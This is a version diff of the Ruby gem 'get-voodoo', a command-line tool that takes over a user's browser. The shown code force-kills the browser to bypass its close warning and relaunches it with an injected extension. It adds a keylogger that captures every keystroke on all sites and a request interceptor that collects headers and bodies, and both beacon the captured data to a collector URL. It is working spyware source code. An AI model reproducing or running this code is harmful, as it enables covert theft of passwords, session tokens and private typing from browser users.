get-voodoo 0.0.3 → 0.0.6

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 6660d98be49e0f21207c73b5ba2f95598ba2b6cbf451ab77fd55409b9a43c270
-  data.tar.gz: 433d6b93ecc44ddb91af4987761746c2684f255e71deab020793fc9786422283
+  metadata.gz: 9e6d8dcf6e32c27aee6d6fecb023b06c714b0b1f68be0e28ece06763428270a8
+  data.tar.gz: 78d560e2fd4ed92c71a5d2e62e188348ce33df6c796d1cefd0838d75092fe9f2
 SHA512:
-  metadata.gz: 1000d6e384255923c3ac738c62de52370b6ec495e866992ff3749abb44edea92652c41aa69ec7b3eb1c58c368b73af87f4c9e3a74d501ad4a7a225b4f464682d
-  data.tar.gz: a935b3d7acee9c3102d7163112d83cf316e588761ab56c3b91a65dc2094d138e655b69625398e5b0691b4b1ff87e447e16ce17bb60de8683d908e32e02561bbc
+  metadata.gz: 7de81bfa24329e95124905520eaf1a0ee11dd4d14bd4232347028e96e71a0597b484b5689d9562496cad1c16829b9c25382d640e4f41f64adff6902373dcd46b
+  data.tar.gz: abc001bbff3629260b9707944132c9bac476012c52c0f0e38ebffd54dce0cc309c4274de32c67a89bf0a4c5218cffce47568253f2dbd37c3ad365ac34b12dd64

data/lib/voodoo/browser.rb

@@ -19,52 +19,55 @@ module VOODOO
             @extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
         end
 
-        def add_script(content: nil, file: nil, matches: '*://*/*')
-            if content == nil && file != nil
-                content = File.read file
-            end
-            if content == nil
-                raise StandardError.new(':content or :file argument are required')
+        def keylogger(matches: '*://*/*', max_events: nil)
+            add_script(matches: matches,
+                file: File.join(__dir__, 'js/keylogger.js'),
+                max_events: max_events
+            ) do |event|
+                yield event
             end
-            @extension.add_content_script([matches], js: [content])
-            self
-        end
-
-        def keylogger(matches: '*://*/*', url_include: '')
-            collector = Collector.new
-            collector.on_json {|jsond| yield jsond }
-            
-            options = {
-                collector_url: collector.url
-            }
-
-            @collector_threads.push(collector.thread)
-
-            keylogger_js = build_js('keylogger.js', with_options: options)
-            @extension.add_content_script(matches, js: [keylogger_js])
         end
 
-        def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil)
-            collector = make_collector() {|jsond| yield jsond }
+        def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil)
             options = {
                 matches: matches,
                 url_include: url_include,
                 body_include: body_include,
-                header_exists: header_exists,
-                collector_url: collector.url
+                header_exists: header_exists
             }
-            background_js = build_js('intercept.js', with_options: options)
-            @extension.add_background_script content: background_js
+
+            add_script(options: options,
+                       background: true,
+                       max_events: max_events,
+                       file: File.join(__dir__, 'js/intercept.js')
+            ) do |event|
+                yield event
+            end
+        end
+
+        def add_permissions(permissions)
+            permissions = [permissions] unless permissions.is_a? Array
+            @extension.manifest[:permissions] += permissions
         end
 
-        def hijack(url = '')
+        def hijack(urls = [])
             # kill the browser process twise, to bypass close warning
             `pkill -a -i "#{@process_name}"`
             `pkill -a -i "#{@process_name}"`
             sleep 0.1
 
+            urls = [urls] unless urls.kind_of? Array
+            urls = urls.uniq
+
             profile_dir = "--profile-directory=\"#{@profile}\"" if @profile != nil
-            `open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{url}`
+            `open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{urls.shift}`
+
+            if urls.length > 0
+                sleep 0.5
+                for url in urls
+                    `open -b "#{@bundle}" -n -g -j --args #{url}`
+                end
+            end
 
             for thread in @collector_threads
                 thread.join    
@@ -91,6 +94,73 @@ module VOODOO
             self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
         end
 
+        def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil)
+            if matches != nil && background != false
+                puts 'WARNING: matches is ignored when background is set to true.'
+            end
+
+            if content == nil && file != nil
+                content = File.read file
+            end
+
+            if content == nil
+                raise StandardError.new(':content or :file argument are required')
+            end
+
+            event_count = 0
+
+            if block_given?
+                collector = Collector.new
+                collector.on_json {|jsond|
+                    yield jsond
+                    if (max_events != nil)
+                        event_count += 1
+                        if event_count >= max_events.to_i
+                            collector.thread.kill
+                        end
+                    end
+                }
+                @collector_threads.push(collector.thread)
+                options[:collector_url] = collector.url
+            end
+
+            options.keys.each do |key|
+                options[(key.to_sym rescue key) || key] = options.delete(key)
+            end
+
+            voodoo_js = File.read(File.join(__dir__, 'js/voodoo.js'))
+            content = voodoo_js + "\n" + content
+
+            # find variables
+            variables = content.scan(/%{[a-z_0-9]+}/i)
+            
+            for var in variables
+                # remove %{}
+                var_sym = var[2...(var.length)-1].to_sym
+                if !options[var_sym]
+                    # when option is missing set it to nil
+                    options[var_sym] = nil
+                else
+                    if !options[var_sym].kind_of? String
+                        content = content.gsub("\"#{var}\"", var)
+                        options[var_sym] = JSON.generate(options[var_sym])
+                    end
+                end
+            end
+
+            content = content % options
+            
+            if background == true
+                return @extension.add_background_script(content: content)
+            else
+                if matches == nil
+                    matches = '*://*/*'
+                end
+                
+                return @extension.add_content_script(matches, js: [content])
+            end
+        end
+
         protected
 
         def make_collector
@@ -99,14 +169,6 @@ module VOODOO
             @collector_threads.push(collector.thread)
             return collector
         end
-
-        def build_js(file, with_options: nil)
-            js = File.read(File.join(__dir__, 'js', file))
-            if with_options != nil
-                js = js.gsub('REBY_INJECTED_OPTIONS', JSON.generate(with_options))
-            end
-            return js
-        end
     end
 
 end

data/lib/voodoo/cli.rb

@@ -1,10 +1,12 @@
 require 'thor'
 require 'json'
+require 'yaml'
+require 'voodoo/output'
 require 'voodoo/browser'
 
 module VOODOO
 
-    VERSION = 'v0.0.1'
+    VERSION = 'v0.0.6'
 
     class CLI < Thor
 
@@ -16,78 +18,133 @@ module VOODOO
         option :url_include, :type => :string, :aliases => :u, :default => nil
         option :body_include, :type => :string, :aliases => :b, :default => nil
         option :header_exists, :type => :string, :aliases => :h, :default => nil
-        option :output, :type => :string, :aliases => :o, :default => 'stdout'
-        option :site, :type => :string, :aliases => :s, :default => ''
+        option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
+        option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
+        option :urls, :type => :array, :aliases => :x, :default => []
         option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
         option :browser, :type => :string, :aliases => :b, :default => 'chrome'
-        desc 'intercept', 'intercept browser requests'
+        option :max_events, :type => :numeric, :default => nil
+        desc 'intercept', 'Intercept browser requests'
         def intercept
             browser = get_browser options[:browser]
-            
-            output = options[:output]
-
-            if output != 'stdout'
-                output = open(output, 'a')
-            end
+            output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'intercept')
 
             browser.intercept(matches: options[:matches],
                               url_include: options[:url_include],
-                              body_include: options[:body_include]) do |req|
-                if output != 'stdout'
-                    output.puts JSON.generate(req)
-                    output.close
-                    output = open(output, 'a')
-                else
-                    puts "#{req[:method]} #{req[:url]}"
-                    if req[:body]
-                        body = req[:body]
-                        if body.length > 100
-                            body = body[0...97] + '...'
-                        end
-                        puts "BODY: #{body}"
-                    end
-                end
+                              body_include: options[:body_include],
+                              max_events: options[:max_events]) do |event|
+                output_handler.handle(event)
             end
 
-            browser.hijack options[:site]
+            browser.hijack options[:urls]
         end
 
-        option :site, :type => :string, :aliases => :s, :default => ''
+        option :urls, :type => :array, :aliases => :x, :default => []
+        option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload, none'
+        option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
+        option :params, :type => :hash,:aliases => :p, :default => {}
         option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
         option :browser, :type => :string, :aliases => :b, :default => 'chrome'
-        desc 'script <js/path>', 'add a content script'
+        option :permissions, :type => :array, :aliases => :p, :default => []
+        option :max_events, :type => :numeric, :default => nil
+        desc 'script <js/path>', 'Add a content script'
         def script(path_or_js)
             browser = get_browser options[:browser]
+            browser.add_permissions options[:permissions]
+            output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'script')
+
+            file = nil
+            content = nil
+
             if File.exists? path_or_js
-                browser.add_script file: path_or_js
+                file = path_or_js
+            else
+                content = path_or_js
+            end
+
+            if output_handler.writable
+                browser.add_script file: file, content: content, options: options[:params], max_events: options[:max_events] do |event|
+                    output_handler.handle(event)
+                end
             else
-                browser.add_script content: path_or_js
+                browser.add_script file: file, content: content, options: options[:params]
             end
-            browser.hijack options[:site]
+
+            browser.hijack options[:urls]
         end
         
-        option :site, :type => :string, :aliases => :s, :default => ''
-        option :output, :type => :string, :aliases => :o, :default => 'stdout'
+        option :urls, :type => :array, :aliases => :x, :default => []
+        option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
+        option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
         option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
         option :browser, :type => :string, :aliases => :b, :default => 'chrome'
-        desc 'keylogger', 'records user keystrokes'
+        option :max_events, :type => :numeric, :default => nil
+        desc 'keylogger', 'Records user keystrokes'
         def keylogger
             browser = get_browser options[:browser]
-            output = options[:output]
+            output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'keylogger')
+            browser.keylogger(matches: options[:matches], max_events: options[:max_events]) do |event|
+                output_handler.handle(event)
+            end
+            browser.hijack options[:urls]
+        end
 
-            if output != 'stdout'
-                output = open(output, 'a')
+        option :browser, :type => :string, :aliases => :b, :default => nil
+        option :format, :type => :string, :aliases => :f, :default => 'none', :desc => 'json, payload, none'
+        option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
+        option :urls, :type => :array, :aliases => :x, :default => []
+        option :params, :type => :hash,:aliases => :p, :default => {}
+        option :max_events, :type => :numeric, :default => nil
+        desc 'template <path>', 'Execute a VOODOO template'
+        def template(path)
+            pwd = Dir.pwd
+
+            if File.directory? path
+                pwd = File.expand_path(File.join(pwd, path))
+                template = YAML.load_file(File.join(path, 'voodoo.yaml'))
+            else
+                pwd = File.expand_path(File.join(pwd, File.dirname(path)))
+                template = YAML.load_file(path)
             end
 
-            browser.keylogger(matches: options[:matches]) do |event|
-                if output != 'stdout'
-                    output.puts JSON.generate(event)
+            browser_inst = template['browser'] || {}
+            browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome')
+
+            if template['permissions']
+                browser.add_permissions template['permissions']
+            end
+            
+            output_format = options[:format]
+            is_default = output_format == 'none'
+
+            if is_default && template['format']
+                output_format = template['format']
+            end
+
+            output_handler = Output.new(file: options[:output], in_format: output_format, for_command: 'template')
+
+            template['scripts'].each do |script|
+                file = File.expand_path(File.join(pwd, script['file'])) if script['file']
+                content = script['content']
+                matches = script['matches']
+                background = script['background'] || false
+                
+                if output_handler.writable
+                    browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background) do |event|
+                        output_handler.handle(event)
+                    end
                 else
-                    print event[:log]
+                    browser.add_script(matches: matches,content: content, options: options[:params], background: background)
                 end
             end
 
-            browser.hijack options[:site]
+            urls = options[:urls]
+
+            if urls.length == 0 && browser_inst['urls']
+                urls = browser_inst['urls']
+            end
+
+            browser.hijack urls
         end
 
         def self.exit_on_failure?

data/lib/voodoo/extension.rb

@@ -51,6 +51,7 @@ module VOODOO
         end
 
         def save
+            @manifest[:permissions] = @manifest[:permissions].uniq
             manifest_path = File.join(@folder, 'manifest.json')
             File.write(manifest_path, JSON.generate(@manifest))
             return @folder

data/lib/voodoo/js/collector.js

@@ -1,4 +1,7 @@
-chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
+/**
+ * VOODOO collector
+ */
+chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
     navigator.sendBeacon(request.collector_url, request.body);
     sendResponse(1)
 });

data/lib/voodoo/js/intercept.js

@@ -2,24 +2,40 @@
  * VOODOO Intercept
  */
 (function () {
-    let options = REBY_INJECTED_OPTIONS;
-    let matches = options.matches || ["<all_urls>"];
+    let options = {
+        body_include: "%{body_include}",
+        url_include: "%{url_include}",
+        collector_url: "%{collector_url}",
+        header_exists: "%{header_exists}"
+    };
+
+    let matches = "%{matches}";
+
+    if (options.header_exists) {
+        options.header_exists = options.header_exists.toLowerCase();
+    }
 
     if (!Array.isArray(matches)) {
         matches = [matches];
     }
 
-    if (!options.collector_url) {
-        return;
+    function parseBody(body) {
+        try {
+            return body.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
+        } catch {
+            return "";
+        }
     }
 
     const requests = new Map();
 
     chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
         const request = requests.get(e.requestId);
+
         if (!request) {
             return;
         }
+
         requests.delete(e.requestId);
         request.headers = e.requestHeaders;
 
@@ -36,7 +52,7 @@
             }
         }
 
-        navigator.sendBeacon(options.collector_url, JSON.stringify(request))
+        VOODOO.send(request);
     }, { urls: matches }, ['requestHeaders', 'extraHeaders'])
 
     chrome.webRequest.onBeforeRequest.addListener(
@@ -46,13 +62,20 @@
             }
 
             if (options.url_include && request.url.indexOf(options.url_include) === -1) {
-                return;
+                return { cancel: false };
+            }
+
+            if (options.body_include && !request.requestBody) {
+                return { cancel: false };
             }
 
-            try {
-                request.body = request.requestBody.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
+            if (request.requestBody) {
+                request.body = parseBody(request.requestBody);
                 delete request.requestBody;
-            } catch { }
+                if (options.body_include && request.body.indexOf(options.body_include) === -1) {
+                    return { cancel: false };
+                }
+            }
 
             requests.set(request.requestId, request);
             return { cancel: false };
@@ -60,5 +83,4 @@
         { urls: matches },
         ['requestBody']
     );
-
 })();

data/lib/voodoo/js/keylogger.js

@@ -2,13 +2,6 @@
  * VOODOO Keylogger
  */
 (function () {
-    sessionStorage.setItem("uuid", Math.random().toString(16).substring(2));
-    const options = REBY_INJECTED_OPTIONS;
-
-    if (!options.collector_url) {
-        return;
-    }
-
     let output = "";
     let lastElement = null;
 
@@ -27,29 +20,17 @@
         return id;
     }
 
-    function send_to_collector() {
-        chrome.runtime.sendMessage({
-            collector_url: options.collector_url,
-            body: JSON.stringify({ time: new Date().getTime(), origin: window.location.origin, uuid: sessionStorage.uuid, log: output })
-        }, function (response) {
-            //console.log(response);
-        });
-        output = "";
-    }
-
-    setInterval(function () {
-        if (output.length !== 0) {
-            send_to_collector();
-        }
-    }, 5000);
-
-    window.addEventListener("beforeunload", function (e) {
+    function sendAndDelete() {
         if (output.length === 0) {
             return;
         }
-        send_to_collector();
-    }, false);
+        VOODOO.send(output);
+        output = "";
+    }
+
+    setInterval(sendAndDelete, 5000);
 
+    window.addEventListener("beforeunload", sendAndDelete, false);
     window.addEventListener("blur", function () {
         output += "\n[TAB LOST FOCUS]\n";
     });
@@ -61,15 +42,15 @@
     window.addEventListener("keydown", function (event) {
         if (lastElement !== event.path[0]) {
             lastElement = event.path[0];
-            output += `\n==> ${describe(event.path[0])}\n`
+            output += `\n[ELEMENT => ${describe(event.path[0])}]\n`
         }
         if (event.key.length > 1) {
-            output += `[[${event.key}]]`;
+            output += `[${event.key}]`;
         } else {
             output += event.key;
         }
     });
 
     output = `\n====== ${window.location.href} (${document.title}) ======\n`;
-    send_to_collector();
+    sendAndDelete();
 })();

data/lib/voodoo/js/voodoo.js

@@ -0,0 +1,29 @@
+if (!sessionStorage.tab_uuid) {
+    sessionStorage.setItem("tab_uuid", Math.random().toString(16).substring(2));
+}
+
+const VOODOO = {
+    options: { collector_url: "%{collector_url}" },
+    send(payload) {
+        if (!VOODOO.options.collector_url) {
+            return;
+        }
+
+        const body = JSON.stringify({
+            time: new Date().getTime(),
+            tab_uuid: sessionStorage.tab_uuid,
+            origin: window.location.origin,
+            payload
+        });
+
+        if (window.location.href.indexOf("_generated_background_page.html") !== -1) {
+            return navigator.sendBeacon(VOODOO.options.collector_url, body);
+        }
+
+        chrome.runtime.sendMessage({
+            collector_url: VOODOO.options.collector_url, body
+        });
+    }
+};
+
+const V = VOODOO;

data/lib/voodoo/output.rb

@@ -0,0 +1,60 @@
+module VOODOO
+
+    class Output
+        attr_reader :writable
+
+        def initialize(file: nil, in_format: nil, for_command: nil)
+            @file = nil
+            @format = in_format
+            @command = for_command
+            @writable = in_format != 'none'
+            @file = open(file, 'a') if file
+        end
+
+        def write(any, with_print: false)
+            if @file
+                @file.puts any
+            else
+                if with_print
+                    print any
+                else
+                    puts any
+                end
+            end
+        end
+
+        def handle(event)
+            if !@writable
+                return
+            end
+
+            case @format
+                when 'pretty'
+                    case @command
+                        when 'keylogger'
+                            write event[:payload], with_print: true
+                        when 'intercept'
+                            req = event[:payload]
+                            write "#{req[:method]} #{req[:url]}"
+                            req[:body] = req[:body][0...97] + "..." if req[:body] && req[:body].length > 100
+                            
+                            if req[:body]
+                                write "BODY: #{event[:payload][:body]}"
+                            end 
+                        else
+                            write JSON.generate(event[:payload])
+                    end
+                when 'json'
+                    write JSON.generate(event)
+                when 'payload'
+                    write JSON.generate(event[:payload])
+                else
+                    write JSON.generate(event)
+            end
+
+            true
+        end
+
+    end
+
+end

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: get-voodoo
 version: !ruby/object:Gem::Version
-  version: 0.0.3
+  version: 0.0.6
 platform: ruby
 authors:
 - Ron Masas
 autorequire: 
 bindir: bin
 cert_chain: []
-date: 2022-03-10 00:00:00.000000000 Z
+date: 2022-03-12 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: thor
@@ -82,6 +82,8 @@ files:
 - lib/voodoo/js/collector.js
 - lib/voodoo/js/intercept.js
 - lib/voodoo/js/keylogger.js
+- lib/voodoo/js/voodoo.js
+- lib/voodoo/output.rb
 homepage: https://breakpoint.sh/?f=org.rubygems.voodoo
 licenses:
 - GPL-2.0